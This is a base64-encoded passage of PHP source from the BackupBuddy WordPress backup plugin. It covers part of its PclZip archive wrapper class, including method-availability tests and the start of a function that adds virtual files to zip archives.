IGRlc2NyaXB0b3JzIG5ldmVyIHN3YXBwZWQgb3JpZ2luYWxseQoKCQkvLyAtLS0tLSBDbG9zZQoJCSR0aGlzLT5femEtPnByaXZDbG9zZUZkKCk7CgoJCS8vIC0tLS0tIENsb3NlIHRoZSB0ZW1wb3JhcnkgZmlsZQoJCUBmY2xvc2UoJHZfemlwX3RlbXBfZmQpOwoKCQkvLyAtLS0tLSBNYWdpYyBxdW90ZXMgdHJpY2sKCQkkdGhpcy0+X3phLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKCQkvLyAtLS0tLSBEZWxldGUgdGhlIHppcCBmaWxlCgkJLy8gVEJDIDogSSBzaG91bGQgdGVzdCB0aGUgcmVzdWx0IC4uLgoJCS8vQHVubGluaygkdGhpcy0+X3phLT56aXBuYW1lKTsKCQkvLyAtLS0tLSBEZWxldGUgdGhlIHRlbXBvcmFyeSBmaWxlCgkJLy9AdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwoKCQkvLyAtLS0tLSBSZW5hbWUgdGhlIHRlbXBvcmFyeSBmaWxlCgkJLy8gVEJDIDogSSBzaG91bGQgdGVzdCB0aGUgcmVzdWx0IC4uLgoJCS8vQHJlbmFtZSgkdl96aXBfdGVtcF9uYW1lLCAkdGhpcy0+emlwbmFtZSk7CgkJLy9QY2xaaXBVdGlsUmVuYW1lKCR2X3ppcF90ZW1wX25hbWUsICR0aGlzLT5femEtPnppcG5hbWUpOwoJCS8vIC0tLS0tIFdlIGdyZXcgdGhlIGV4aXN0aW5nIHppcCBmaWxlIHNvIG5vIHJlbmFtaW5nIHRvIGRvCgoJCS8vIC0tLS0tIFJldHVybgoJCXJldHVybiAkdl9yZXN1bHQ7CgkJfQoJCS8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoJCS8qKgoJCSAqCV9fY2FsbCgpCgkJICoJCgkJICoJTWFnaWMgbWV0aG9kIGludGVyY2VwdGluZyBjYWxscyB0byB1bmtub3duIG1ldGhvZHMuIFRoaXMgYWxsb3dzIHVzIHRvIGludGVyY2VwdAoJCSAqCWFsbCBtZXRob2QgY2FsbHMgYW5kIGFkZCBhZGRpdGlvbmFsIHByb2Nlc3NpbmcuIE5vdGUgdGhhdCB0aGUgbWFpbiB3cmFwcGluZyB3ZQoJCSAqCXdhbnQgdG8gYXBwbHkgaXMgc2V0dGluZyB0aGUgaW50ZXJuYWwgZW5jb2RpbmcgaWYgcmVxdWlyZWQgc28gdGhhdCBzdHJpbmcgZnVuY3Rpb25zCgkJICoJY2FuIGJlIHVzZWQgb24gYmluYXJ5IGRhdGEgYnV0IHdlIGFsc28gbmVlZCB0byBpbnRlcmNlcHQgc29tZSBtZXRob2RzIGFuZCBvdmVycmlkZQoJCSAqCXRoZW0uIFdlIGNvdWxkIGRvIHRoaXMganVzdCBieSBoYXZpbmcgYSBtZXRob2Qgb2YgdGhlIHNhbWUgbmFtZSBidXQgdGhhdCB3b3VsZAoJCSAqCWJ5cGFzcyB0aGUgd3JhcHBlciBzbyB3ZSBuZWVkIHRvIGhhbmRsZSB0aG9zZSBpbnRlcmNlcHRlZCBtZXRob2RzIHdpdGhpbiB0aGlzCgkJICoJbWFnaWMgbWV0aG9kIGFzIHdlbGwuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJG1ldGhvZAkJVGhlIG5hbWUgb2YgdGhlIGludGVyY2VwdGVkIG1ldGhvZAoJCSAqCUBwYXJhbQkJYXJyYXkJJGFyZ3VtZW50cwlBcnJheSBvZiB0aGUgYXJndW1lbnRzIGFzc29jaWF0ZWQgd2l0aCB0aGUgbWV0aG9kIGNhbGwKCQkgKglAcmV0dXJuCQltaXhlZAkkcmVzdWx0CQlXaGF0ZXZlciB0aGUgaW52b2tlZCB3cmFwcGVyIG1ldGhvZCBjYWxsIHJldHVybnMKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBfX2NhbGwoICRtZXRob2QsICRhcmd1bWVudHMgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkKCQkJLy8gU2VlICMxNTc4OSAtIFBjbFppcCB1c2VzIHN0cmluZyBmdW5jdGlvbnMgb24gYmluYXJ5IGRhdGEKCQkJLy8gSWYgaXQncyBvdmVybG9hZGVkIHdpdGggTXVsdGlieXRlIHNhZmUgZnVuY3Rpb25zIHRoZSByZXN1bHRzIGFyZSBpbmNvcnJlY3QuCgkJCWlmICggQGluaV9nZXQoICdtYnN0cmluZy5mdW5jX292ZXJsb2FkJyApICYmIEBmdW5jdGlvbl9leGlzdHMoICdtYl9pbnRlcm5hbF9lbmNvZGluZycgKSApIHsKCQkJCgkJCQkkcHJldmlvdXNfZW5jb2RpbmcgPSBAbWJfaW50ZXJuYWxfZW5jb2RpbmcoKTsKCQkJCUBtYl9pbnRlcm5hbF9lbmNvZGluZyggJ0lTTy04ODU5LTEnICk7CgkJCQkKCQkJfQoJCQkKCQkJc3dpdGNoICggJG1ldGhvZCApIHsKCQkJCQoJCQkJY2FzZSAnYWRkJzoKCQkJCQkkcmVzdWx0ID0gQGNhbGxfdXNlcl9mdW5jX2FycmF5KCBhcnJheSggJHRoaXMsICdfJyAuICRtZXRob2QgKSwgJGFyZ3VtZW50cyApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAnZ3Jvdyc6CgkJCQkJJHJlc3VsdCA9IEBjYWxsX3VzZXJfZnVuY19hcnJheSggYXJyYXkoICR0aGlzLCAnXycgLiAkbWV0aG9kICksICRhcmd1bWVudHMgKTsKCQkJCQlicmVhazsKCQkJCWRlZmF1bHQ6CgkJCQkJJHJlc3VsdCA9IEBjYWxsX3VzZXJfZnVuY19hcnJheSggYXJyYXkoICR0aGlzLT5femEsICRtZXRob2QgKSwgJGFyZ3VtZW50cyApOwoJCQkKCQkJfQoJCQkKCQkJLy8gTm93IHVuZG8gYW55IGNoYW5nZSB3ZSBtYXkgaGF2ZSBtYWRlIHRvIHRoZSBlbmNvZGluZwoJCQlpZiAoIGlzc2V0KCAkcHJldmlvdXNfZW5jb2RpbmcgKSApIHsKCQkJCgkJCQlAbWJfaW50ZXJuYWxfZW5jb2RpbmcoICRwcmV2aW91c19lbmNvZGluZyApOwoJCQkJdW5zZXQoICRwcmV2aW91c19lbmNvZGluZyApOwoKCQkJfQoJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkKCQl9CgkKCX0KCgljbGFzcyBwbHVnaW5idWRkeV96YnppcHBjbHppcCBleHRlbmRzIHBsdWdpbmJ1ZGR5X3piemlwY29yZSB7CgkKCQkvLyBDb25zdGFudHMgZm9yIGZpbGUgaGFuZGxpbmcKCQljb25zdCBaSVBfRVJST1JTX0ZJTEVfTkFNRSAgID0gJ2xhc3RfcGNsemlwX2Vycm9ycy50eHQnOwoJCWNvbnN0IFpJUF9XQVJOSU5HU19GSUxFX05BTUUgPSAnbGFzdF9wY2x6aXBfd2FybmluZ3MudHh0JzsKCQljb25zdCBaSVBfT1RIRVJTX0ZJTEVfTkFNRSAgID0gJ2xhc3RfcGNsemlwX290aGVycy50eHQnOwoJCWNvbnN0IFpJUF9DT05URU5UX0ZJTEVfTkFNRSAgPSAnbGFzdF9wY2x6aXBfbGlzdC50eHQnOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIG1ldGhvZCB0YWcgdXNlZCB0byByZWZlciB0byB0aGUgbWV0aG9kIGFuZCBlbnRpdGllcyBhc3NvY2lhdGVkIHdpdGggaXQgc3VjaCBhcyBjbGFzcyBuYW1lCiAgICAgICAgICogCiAgICAgICAgICogQHZhciAkX21ldGhvZF90YWcgCXN0cmluZwogICAgICAgICAqLwoJCXB1YmxpYyBzdGF0aWMgJF9tZXRob2RfdGFnID0gJ3BjbHppcCc7CgkJCQogICAgICAgIC8qKgogICAgICAgICAqIFRoaXMgdGVsbHMgdXMgd2hldGhlciB0aGlzIG1ldGhvZCBpcyByZWdhcmRlZCBhcyBhICJjb21wYXRpYmlsaXR5IiBtZXRob2QKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGJvb2wKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2QgPSB0cnVlOwoJCQkKICAgICAgICAvKioKICAgICAgICAgKiBUaGlzIHRlbGxzIHVzIHRoZSBkZXBlbmRlbmNpZXMgb2YgdGhpcyBtZXRob2Qgc28gdGhleSBjYW4gYmUgY2hlY2sgdG8gc2VlIGlmIHRoZSBtZXRob2QgY2FuIGJlIHN1cHBvcnRlZAogICAgICAgICAqIE5vdGU6IFBjbFppcCBjb25zdHJ1Y3RvciBjaGVja3MgZm9yIGd6b3BlbiBmdW5jdGlvbiBhbmQgZGllcyBvbiBmYWlsdXJlIHNvIHdlIG1heSBhcyB3ZWxsIHByZS1lbXB0IHRoYXQKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGFycmF5CiAgICAgICAgICovCgkJcHVibGljIHN0YXRpYyAkX21ldGhvZF9kZXBlbmRlbmNpZXMgPSBhcnJheSggJ2NsYXNzZXMnID0+IGFycmF5KCksCgkJCQkJCQkJCQkJICAJCSAnZnVuY3Rpb25zJyA9PiBhcnJheSggJ2d6b3BlbicgKSwKCQkJCQkJCQkJCQkgIAkJICdleHRlbnNpb25zJyA9PiBhcnJheSggKSwKCQkJCQkJCQkJCQkgIAkJICdmaWxlcycgPT4gYXJyYXkoKSwKCQkJCQkJCQkJCQkgIAkJICdjaGVja19mdW5jJyA9PiAnY2hlY2tfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMnCgkJCQkJCQkJCQkJCQkpOwoJCQkKCQkvKioKCQkgKiAKCQkgKiBnZXRfbWV0aG9kX3RhZ19zdGF0aWMoKQoJCSAqCgkJICogR2V0IHRoZSBzdGF0aWMgbWV0aG9kIHRhZyBpbiBhIHN0YXRpYyBjb250ZXh0CgkJICoKCQkgKiBAcmV0dXJuCQlzdHJpbmcJVGhlIG1ldGhvZCB0YWcKCQkgKgoJCSAqLwoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0X21ldGhvZF90YWdfc3RhdGljKCkgewoJCQoJCQlyZXR1cm4gc2VsZjo6JF9tZXRob2RfdGFnOwoJCQkKCQl9CgoJCS8qKgoJCSAqIAoJCSAqIGdldF9pc19jb21wYXRpYmlsaXR5X21ldGhvZF9zdGF0aWMoKQoJCSAqCgkJICogR2V0IHRoZSBjb21wYXRpYmlsaXR5IG1ldGhvZCBpbmRpY2F0b3IgaW4gYSBzdGF0aWMgY29udGV4dAoJCSAqCgkJICogQHJldHVybgkJYm9vbAlUcnVlIGlmIGlzIGEgY29tcGF0aWJpbGl0eSBtZXRob2QKCQkgKgoJCSAqLwoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kX3N0YXRpYygpIHsKCQkKCQkJcmV0dXJuIHNlbGY6OiRfaXNfY29tcGF0aWJpbGl0eV9tZXRob2Q7CgkJfQoKCQkvKioKCQkgKiAKCQkgKiBnZXRfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMoKQoJCSAqCgkJICogR2V0IHRoZSBtZXRob2QgZGVwZW5kZW5jaWVzIGFycmF5IGluIGEgc3RhdGljIGNvbnRleHQKCQkgKgoJCSAqIEByZXR1cm4JCWFycmF5CVRoZSBkZXBlbmRlbmNpZXMgb2YgdGhlIG1ldGhvZCB0aGF0IGlzIHJlcXVpcmVzIHRvIGJlIGEgc3VwcG9ydGVkIG1ldGhvZAoJCSAqCgkJICovCgkJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMoKSB7CgkJCgkJCXJldHVybiBzZWxmOjokX21ldGhvZF9kZXBlbmRlbmNpZXM7CgkJfQoKCQkvKioKCQkgKiAKCQkgKiBjaGVja19tZXRob2RfZGVwZW5kZW5jaWVzX3N0YXRpYygpCgkJICoKCQkgKiBBbGxvd3MgYWRkaXRpb25hbCBtZXRob2QgZGVwZW5kZW5jeSBjaGVja3MgYmV5b25kIHRoZSBzdGFuZGFyZCBpbiBhIHN0YXRpYyBjb250ZXh0CgkJICoKCQkgKiBAcmV0dXJuCQlib29sCVRydWUgaWYgYWRkaXRpb25hbCBkZXBlbmRlbmN5IGNoZWNrcyBwYXNzZWQKCQkgKgoJCSAqLwoJCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gY2hlY2tfbWV0aG9kX2RlcGVuZGVuY2llc19zdGF0aWMoKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCgkJCS8vIE5lZWQgdG8gdmVyaWZ5IHRoYXQgYXQgbGVhc3QgUGNsWmlwIHNob3VsZCBiZSBhdmFpbGFibGUgdG8gYmUgbG9hZGVkIChidXQgd2UKCQkJLy8gZG9uJ3QgYWN0dWFsbHkgd2FudCB0byBsb2FkIGl0IGhlcmUpCgkJCSRwb3NzaWJsZXMgPSBhcnJheSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJywgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9wY2x6aXAvcGNsemlwLnBocCcgKTsKCQkJCgkJCWZvcmVhY2ggKCAkcG9zc2libGVzIGFzICRwb3NzaWJsZSkgewoJCQkKCQkJCWlmICggQGlzX3JlYWRhYmxlKCAkcG9zc2libGUgKSApIHsKCQkJCQoJCQkJCS8vIEZvdW5kIG9uZSB0aGF0IHNob3VsZCBiZSBsb2FkYWJsZSBzbyBicmVhayBvdXQKCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQlicmVhazsKCQkJCQkJCQkJCgkJCQl9IAoJCQkKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCgkJfQoKCQkvKioKCQkgKglfX2NvbnN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBjb25zdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcGFyYW0JCXJlZmVyZW5jZQkmJHBhcmVudAkJW29wdGlvbmFsXSBSZWZlcmVuY2UgdG8gdGhlIG9iamVjdCBjb250YWluaW5nIHRoZSBzdGF0dXMoKSBmdW5jdGlvbiBmb3Igc3RhdHVzIHVwZGF0ZXMuCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCAmJHBhcmVudCA9IE5VTEwgKSB7CgoJCQlwYXJlbnQ6Ol9fY29uc3RydWN0KCAkcGFyZW50ICk7CgkJCQoJCQkvLyBPdmVycmlkZSBzb21lIG9mIHBhcmVudCBkZWZhdWx0cwoJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSA9IGFycmF5X21lcmdlKCAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSwKCQkJCQkJCQkJCQkJCQkJYXJyYXkoICduYW1lJyA9PiAnUGNsWmlwIE1ldGhvZCcsCgkJCQkJCQkJCQkJCQkgIAkJCSAgICdjb21wYXRpYmlsaXR5JyA9PiBwbHVnaW5idWRkeV96YnppcHBjbHppcDo6JF9pc19jb21wYXRpYmlsaXR5X21ldGhvZCApCgkJCQkJCQkJCQkJCQkgIAkgICApOwoKCQkJLy8gTm8gcmVsZXZhbnQgcGFyYW1ldGVycyBmb3IgdGhpcyBtZXRob2QKCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdID0gYXJyYXkoKTsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCV9fZGVzdHJ1Y3QoKQoJCSAqCQoJCSAqCURlZmF1bHQgZGVzdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcmV0dXJuCQludWxsCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCggKSB7CgkJCgkJCXBhcmVudDo6X19kZXN0cnVjdCgpOwoKCQl9CgkJCgkJLyoqCgkJICoJZ2V0X21ldGhvZF90YWcoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIChzdGF0aWMpIG1ldGhvZCB0YWcKCQkgKgkKCQkgKglAcmV0dXJuCQlzdHJpbmcgVGhlIG1ldGhvZCB0YWcKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfbWV0aG9kX3RhZygpIHsKCQkKCQkJcmV0dXJuIHBsdWdpbmJ1ZGR5X3piemlwcGNsemlwOjokX21ldGhvZF90YWc7CgkJCQoJCX0KCQkKCQkJLyoqCgkJICoJZ2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kKCkKCQkgKgkKCQkgKglSZXR1cm5zIHRoZSAoc3RhdGljKSBpc19jb21wYXRpYmlsaXR5X21ldGhvZCBib29sZWFuCgkJICoJCgkJICoJQHJldHVybgkJYm9vbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9pc19jb21wYXRpYmlsaXR5X21ldGhvZCgpIHsKCQkKCQkJcmV0dXJuIHBsdWdpbmJ1ZGR5X3piemlwcGNsemlwOjokX2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kOwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJaXNfYXZhaWxhYmxlKCkKCQkgKgkKCQkgKglBIGZ1bmN0aW9uIHRoYXQgdGVzdHMgZm9yIHRoZSBhdmFpbGFiaWxpdHkgb2YgdGhlIHNwZWNpZmljIG1ldGhvZCBhbmQgaXRzIGF2YWlsYWJsZSBtb2Rlcy4gV2lsbCB0ZXN0IGZvcgoJCSAqICBtdWx0aXBsZSBtb2RlcyAoemlwICYgdW56aXApIGFuZCBvbmx5IHJldHVybiBmYWxzZSBpZiBuZWl0aGVyIGlzIGF2YWlsYWJsZS4gQWN0dWFsIGF2YWlsYWJsZSBtb2RlcyB3aWxsCgkJICogIGJlIGluZGljYXRlZCBpbiB0aGUgbWV0aG9kIGF0dHJpYnV0ZXMuCgkJICoKCQkgKiAgTm90ZTogaW4gdGhpcyBjYXNlIGFzIHRoZSB6aXAgYW5kIHVuemlwIGNhcGFiaWxpdGllcyBhcmUgYWxsIHdyYXBwZWQgdXAgaW4gdGhlIHNhbWUgY2xhc3MgdGhlbiBpZiB3ZQoJCSAqICBjYW4gemlwIHRoZW4gd2UnbGwgYXNzdW1lIChmb3Igbm93KSB0aGF0IHdlIGNhbiB1bnppcCBhcyB3ZWxsIHNvIGF0dHJpYnV0ZXMgYXJlIHNldCBhY2NvcmRpbmdseS4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkdGVtcGRpcglUZW1wb3JhcnkgZGlyZWN0b3J5IHRvIHVzZSBmb3IgYW55IHRlc3QgZmlsZXMgKG11c3QgYmUgd3JpdGVhYmxlKQoJCSAqCUByZXR1cm4JCWJvb2wJCQkJVHJ1ZSBpZiB0aGUgbWV0aG9kIGlzIGF2YWlsYWJsZSBmb3IgYXQgbGVhc3Qgb25lIG1vZGUsIGZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGlzX2F2YWlsYWJsZSggJHRlbXBkaXIgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJJHphID0gTlVMTDsKCQkJCgkJCSR0ZXN0X2ZpbGUgPSAkdGVtcGRpciAuICd0ZW1wX3Rlc3RfJyAuIHVuaXFpZCgpIC4gJy56aXAnOwoJCQkKCQkJLy8gVGhpcyBzaG91bGQgZ2l2ZSB1cyBhIG5ldyBhcmNoaXZlIG9iamVjdCwgb2Ygbm90IGNhdGNoIGl0IGFuZCBiYWlsIG91dAoJCQl0cnkgewoJCQkKCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9QY2xaaXAoICR0ZXN0X2ZpbGUgKTsKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdQY2xaaXAgdGVzdCBGQUlMRUQ6ICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkZXJyb3Jfc3RyaW5nICkgKTsKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJaWYgKCAkemEtPmNyZWF0ZSggX19GSUxFX18gLCBQQ0xaSVBfT1BUX1JFTU9WRV9QQVRILCBkaXJuYW1lKCBfX0ZJTEVfXykgICkgIT09IDAgKSB7CgkJCQkJCQoJCQkJCWlmICggQGZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgKSB7CgkJCQkJCgkJCQkJCWlmICggIUB1bmxpbmsoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ0Vycm9yICM1NjQ2MzQuIFVuYWJsZSB0byBkZWxldGUgdGVzdCBmaWxlICglcykhJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHRlc3RfZmlsZSApICk7CgkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCQkvLyBUaGUgemlwIG9wZXJhdGlvbiB3YXMgc3VjY2Vzc2Z1bCAtIGltcGxpZXMgY2FuIHppcCBhbmQgdW56aXAgYW5kIGhlbmNlIGFyY2hpdmUsIGNoZWNrIGFuZCBsaXN0CgkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfemlwcGVyJyBdID0gdHJ1ZTsKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc191bnppcHBlcicgXSA9IHRydWU7CgkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfYXJjaGl2ZXInIF0gPSB0cnVlOwoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2NoZWNrZXInIF0gPSB0cnVlOwoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2xpc3RlcicgXSA9IHRydWU7CgkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfY29tbWVudGVyJyBdID0gdHJ1ZTsKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc191bmFyY2hpdmVyJyBdID0gdHJ1ZTsKCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ2F0dHInIF1bICdpc19leHRyYWN0b3InIF0gPSB0cnVlOwoJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2Nhbl9hZGRfdmlydHVhbF9maWxlJyBdID0gdHJ1ZTsKCQkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1BjbFppcCB0ZXN0IFBBU1NFRC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdQY2xaaXAgdGVzdCBGQUlMRUQ6IFppcCBmaWxlIG5vdCBmb3VuZC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggdHJ1ZSApOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1BjbFppcCB0ZXN0IEZBSUxFRDogVW5hYmxlIHRvIGNyZWF0ZS9vcGVuIHppcCBmaWxlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdQY2xaaXAgRXJyb3I6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkZXJyb3Jfc3RyaW5nICk7CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQoJCQkJfQoJCQkJCgkJCX0KCQkgIAkKCQkgIAlpZiAoIE5VTEwgIT0gJHphICkgeyB1bnNldCggJHphICk7IH0KCQkgIAkKCQkgIAlyZXR1cm4gJHJlc3VsdDsKCQkgIAkKCQl9CgoJCS8qKgoJCSAqCWFkZF92aXJ0dWFsX2ZpbGUoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBhbGxvd3MgYSB2aXJ0dWFsIGZpbGUgdG8gYmUgYWRkZWQgdG8gYSB6aXAgYXJjaGl2ZQoJCSAqCQoJCSAqCVRoZSB2aXJ0dWFsIGZpbGUgZGVzY3JpcHRvciBpcyBhbiBhcnJheSBvZiBkZXNjcmlwdG9yIGFycmF5KHMpIHRoYXQgcHJvdmlkZSBhIGZpbGVuYW1lCgkJICoJZm9yIHRoZSB2aXJ0dWFsIGZpbGUgdG8gYmUgYWRkZWQgKGNhbiBpbmNsdWRlIHBhdGggcHJlZml4KSBhbmQgYSBzdHJpbmcgdGhhdCBjb250YWlucyB0aGUKCQkgKglmaWxlIGNvbnRlbnQgKGNhbiBiZSBlbXB0eSBidXQgbXVzdCBiZSBwcmVzZW50KS4gRm9yIGV4YW1wbGU6CgkJICoJYXJyYXkoIGFycmF5KCAnZmlsZW5hbWUnID0+ICdzb21lZmlsZS50eHQnLCAnY29udGVudCcgPT4gJ0EgVGV4dCBTdHJpbmcnICkgKQoJCSAqCU5vdGUgdGhhdCB0aGUgYWN0dWFsIHppcCBmaWxlIHRvIHdoaWNoIHRoZSBmaWxlIGlzIGFkZGVkIGlzIGZvcm1lZCBmcm9tIHRoZSBmaWxlbmFlbSBmcm9tCgkJICoJdGhlICR6aXAgcGFyYW1ldGVyIGFwcGFlbmRlZCB0byB0aGUgJHRlbXBkaXIgZGlyZWN0b3J5IHBhdGguIFRoaXMgaXMgc2xpZ2h0bHkgY2x1bmt5IGFuZAoJCSAqCW1heSBiZSBjaGFuZ2VkIGF0IHNvbWUgbGF0ZXIgZGF0ZS4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwCQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIEFyY2hpdmUgZmlsZSB0byBhZGQgZmlsZSB0bwoJCSAqCUBwYXJhbQkJYXJyYXkJJHZpcnR1YWxfZmlsZV9kZXNjcmlwdG9yCUZ1bGwgZGVzY3JpcHRvciBvZiBmaWxlKHMpIHRvIGFkZCB0byBaSVAgQXJjaGl2ZSBmaWxlCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJCQkJCUZ1bGwgcGF0aCBvZiBkaXJlY3RvcnkgZm9yIHRlbXBvcmFyeSB1c2FnZQoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCQkJCVRydWUgaWYgdGhlIGFkZGl0aW9uIHdhcyBzdWNjZXNzZnVsLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBhZGRfdmlydHVhbF9maWxlKCAkemlwLCAkdmlydHVhbF9maWxlX2Rlc2NyaXB0b3IsICR0ZW1wZGlyICkgewoJCQoJCQkkemEgPSBOVUxMOwoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSRleGl0Y29kZSA9IDA7CgkJCSR6aXBfb3V0cHV0ID0gYXJyYXkoKTsKCQkJJHZpcnR1YWxfZmlsZV9saXN0ID0gYXJyYXkoKTsKCQkJCgkJCS8vIE5vdGU6IGNvdWxkIGVuZm9yY2UgdHJhaWxpbmcgZGlyZWN0b3J5IHNlcGFyYXRvciBmb3Igcm9idXN0bmVzcwoJCQlpZiAoIGVtcHR5KCAkdGVtcGRpciApIHx8ICFmaWxlX2V4aXN0cyggJHRlbXBkaXIgKSApIHsKCQkJCgkJCQkvLyBUaGlzIGJyZWFrcyB0aGUgcnVsZSBvZiBzaW5nbGUgcG9pbnQgb2YgZXhpdCAoYXQgZW5kKSBidXQgaXQncyBlYXJseSBlbm91Z2ggdG8gbm90IGJlIGEgcHJvYmxlbQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGVtcG9yYXJ5IHdvcmtpbmcgZGlyZWN0b3J5IG11c3QgYmUgYXZhaWxhYmxlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsJCQkJCgkJCQlyZXR1cm4gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJLy8gV2UgbmVl